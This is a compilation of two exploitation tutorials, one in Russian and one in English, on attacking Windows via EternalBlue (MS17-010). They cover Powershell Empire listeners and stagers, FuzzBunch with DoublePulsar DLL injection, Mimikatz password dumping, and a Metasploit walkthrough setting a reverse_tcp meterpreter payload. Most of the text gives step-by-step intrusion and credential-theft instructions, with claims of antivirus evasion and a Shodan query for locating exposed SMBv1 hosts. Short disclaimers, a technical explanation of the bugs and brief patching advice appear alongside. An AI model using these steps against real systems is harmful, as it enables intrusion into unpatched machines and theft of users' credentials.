- Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE
- Powershell Empire
- Установка
- Запуск и базовая настройка
- Постэксплуатация
- FuzzBunch
- Установка
- Запуск и эксплуатация MS17-010
- Постэксплуатация в связке с Powershell Empire
- Защитные меры
- Eternal Blue DoublePulsar Exploit
- Quick intro Eternal Blue 101
- Shodan Search
- Shodan
- Shodan has servers located around the world that crawl the Internet 24/7 to provide the latest Internet intelligence…
- Lab Set Up
- ElevenPaths/Eternalblue-Doublepulsar-Metasploit
- You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or…
- Setting up Kali
- Set Up the Payload
- How Does Eternal Blue Work?
- Summary
- How to Stay Secure from Eternal Blue
Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Данная уязвимость устранена с выходом пачта MS17-010: он устраняет шесть проблем Windows SMB Server, пять из которых позволяют выполнить произвольный код через создание специального пакета Server Message Block (SMB) 1.0. В данной статье мы рассмотрим как злоумышленники могут эксплуатировать уязвимость ETERNALBLUE.
Статья носит исследовательский характер. При ее написании использовалась общедоступная информация. Применение описываемых техник или методик, или их частей в противозаконных и противоправных действиях запрещена. Соблюдайте законодательство.
По умолчанию арсенал Kali Linux позволяет проводить множество атак на машины под управлением ОС Windows, но двух современных инструментов в ней не хватает. В данной статье речь пойдет об инструментах Empire и FuzzBunch, которыми стоит дополнить ваш дистрибутив, чтобы существенно расширить возможности для эксплуатации и постэксплуатации Windows систем в сети.
Powershell Empire
Powershell Empire предоставляет модульную платформу для пост-эксплуатации, используя возможности средства автоматизации ОС Windows PowerShell.
Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, т.е. антивирусным ПО и системами предотвращения вторжений из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пейлоадов, скомпилированных в ассемблер и исполняемый файл.
Установка
Скачиваем Empire с github github.com/EmpireProject/Empire
Запускаем скрипт Empire/setup/install.sh для установки зависимостей в систему.
Далее запускаем скрипт для инициализации базы данных Empire/setup/setup_database.py
Установка завершена.
Запуск и базовая настройка
Запускаем фреймворк скриптом ./empire и попадаем в главное меню
Основные понятия, с которыми нам придется столкнуться это listener, stager и agent.
Listener – локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.
Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер по адресу 192.168.1.3:8080
Как видим, порт теперь прослушивается:
Stager – способ доставки Powershell Empire агента на машине жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 – способ доставки Empire агента, а stage1 – сам агент. На самом деле процесс доставки несколько сложнее, о чем можно подробно почитать на официальном сайте.
Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):
Самый распространенный стейджер – launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.
Далее можно настроить некоторые параметры для стейджера:
В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.
Командой generate создается стейджер типа launcher.
Он представляет собой закодированную powershell команду в base64, которую необходимо выполнить на стороне жертвы.
Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда
launcher [имя_листнера] из меню listeners.
Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.
- launcher_bat – агент доставляется на машину жертвы при запуске bat-файла.
- launcher_vbs – агент доставляется на машину жертвы при выполнении vbs-скрипта.
- macro – будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
- dll – запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.
Стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. При помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение.
Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:
На машине атакующего в интерфейсе Empire видим сообщение:
Это означает, что между машиной атакующего и машиной жертвы теперь установлено соединение и агент готов получать команды.
Для удобства можно переименовать агента:
Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции:
Постэксплуатация
После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте powershellempire.com.
Все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.
Модуль credentials/powerdump для сбора хэшей пользователей.
Запуск mimikatz из меню агента Empire
Получили пароль в открытом виде от поставщика WDijest
FuzzBunch
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17-010. Так же для эксплуатации уязвимостей, обнародованных The Shadow Brokers, уже созданы модули для фреймворка Metasploit.
Установка
Для установки FuzzBunch вам понадобится либо 32-битная Windows машина, либо Kali Linux с установленным окружением Wine. Мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. Загрузим файлы на свою машину Kali Linux с github
Для работы FuzzBunch Нам потребуется Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.
Создаем и инициализируем новое окружение:
Оставляем все без изменения:
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:
Добавляем в PATH требуемые директории
wine regedit.exe
Устанавливаем fuzzbunch в окружение Wine:
Запуск и эксплуатация MS17-010
Из окружения Wine выполняем следующую команду:
Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.
Задаем эти параметры при запуске.
Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue.
На вопрос о проверке параметров отвечаем утвердительно:
Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB.
В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.
Постэксплуатация в связке с Powershell Empire
Создаем новый листенер:
В качестве механизма доставки агента используем на этот раз dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.
Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C окружения Wine.
Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.
Выбираем 64-битную архитектуру:
В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.
Указываем полный путь до DLL:
C:\launcher.dll
Выполняем модуль:
В интерфейсе Empire получаем новую сессию и выполняем Mimikatz.
Получаем логины и пароли пользователей.
В то же время операционная система жертвы не выявляет атаки. В журналах Microsoft Security Essentials пусто, система работает стабильно. Таким образом, наш дистрибутив Kali Linux приобрел два современных инструмента для эксплуатации и постэксплуатации ОС под управлением Windows.
Защитные меры
В качестве средств защиты рекомендуется обновить Windows системы (если вы этого еще по каким-то причинам не сделали), использовать средства обнаружения и блокирования атак — firewall и т.д.
Например это можно сделать с помощью следующих команд:
Источник
Eternal Blue DoublePulsar Exploit
Quick intro Eternal Blue 101
What is Eternal Blue?
EternalBlue, sometimes stylized as ETERNALBLUE, is a cyber-attack exploit developed by the U.S. National Security Agency (NSA) according to testimony by former NSA employees. It was leaked by the Shadow Brokers hacker group on April 14, 2017, and was used as part of the worldwide WannaCry ransomware attack on May 12, 2017. The exploit was also used to help carry out the 2017 NotPetya cyberattack on June 27, 2017, and reported to be used as part of the Retefe banking trojan since at least September 5, 2017.
Shodan Search
There are still tons of vulnerable systems on the internet.
Shodan
Shodan has servers located around the world that crawl the Internet 24/7 to provide the latest Internet intelligence…
Shodan search to identify potentially unpatched and affected systems:
port:445 “SMB Version: 1” os:Windows !product:Samba
When run, we see that there are about 974,800 systems on the internet that could be vulnerable. This string does not search for vulnerabilities so we don’t know if these are patched systems or not.
Lab Set Up
In this lab, I will use Eternal Blue from GitHub and I will add the exploit to the Metasploit database (for the meterpreter shell purpose).
- Kali Linux
- Windows 7 64 architecture
- Eternal Blue Exploit Double Pulsar exploit from Github
ElevenPaths/Eternalblue-Doublepulsar-Metasploit
You can’t perform that action at this time. You signed in with another tab or window. You signed out in another tab or…
Setting up Kali
- Download Eternal Blue exploit from Github to the root directory
- cd /root
- git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
- Adding the exploit to the Metasploit database
5. Install and set up wine emulator to the root directory
6. Nmap scan to identify open 445 port on the target machine
Set Up the Payload
- msfconsole
- use exploit/windows/smb/eternalblue_doublepulsar
- info
- set rhosts target machine IP address
- set processinject lsass.exe (for 64 architecture)
- set targetarchitecture x64
- winepath — should be in the root directory
- other options should be left as default
9. set payload windows/x64/metepreter/reverse_tcp
10. set lhost Kali IP address
11. other options should be left as default, then run exploit command
How Does Eternal Blue Work?
Eternal Blue relies on a Windows function named srv!SrvOS2FeaListSizeToNt . To see how this leads to remote code execution, let’s take a quick look at how SMB works.
Server Message Block (SMB) operates as an application-layer network protocol mainly used for providing shared access to files, printers, serial ports and miscellaneous communications between nodes on a network.
Eternal Blue exploits three bugs:
The first bug is a mathematical error when the protocol tries to cast an OS/2 FileExtended Attribute (FEA) list structure to an NT FEA structure in order to determine how much memory to allocate. A miscalculation creates an integer overflow that causes less memory to be allocated than expected, which in turns leads to a buffer overflow. With more data than expected being written, the extra data can overflow into adjacent memory space.
Triggering the buffer overflow is achieved thanks to the second bug, which results from a difference in the SMB protocol’s definition of two related sub commands: SMB_COM_TRANSACTION2 and SMB_COM_NT_TRANSACT .
Both have a _SECONDARY command that is used when there is too much data to include in a single packet. The crucial difference between TRANSACTION2 and NT_TRANSACT is that the latter calls for a data packet twice the size of the former. This is significant because an error in validation occurs if the client sends a crafted message using the NT_TRANSACT sub-command immediately before the TRANSACTION2 one.
While the protocol recognizes that two separate sub-commands have been received, it assigns the type and size of both packets (and allocates memory accordingly) based only on the type of the last one received. Since the last one is smaller, the first packet will occupy more space than it is allocated.
Once the attackers achieve this initial overflow, they can take advantage of a third bug in SMBv1 which allows heap spraying, a technique which results in allocating a chunk of memory at a given address. From here, the attacker can write and execute shellcode to take control of the system.
Summary
Eternal Blue exploit should work on every single unpatched Windows 7 and below including Windows XP (all services pack) (x86) (x64), Windows Server 2003 SP0 (x86),Windows Server 2003 SP1/SP2 (x86), Windows Server 2003 (x64),Windows Vista (x86), Windows Vista (x64), Windows Server 2008 (x86), Windows Server 2008 R2 (x86) (x64).
How to Stay Secure from Eternal Blue
If possible apply Microsoft patch MS17–10. If unable to do so disabling SMBv1 also mitigates the risk.
Источник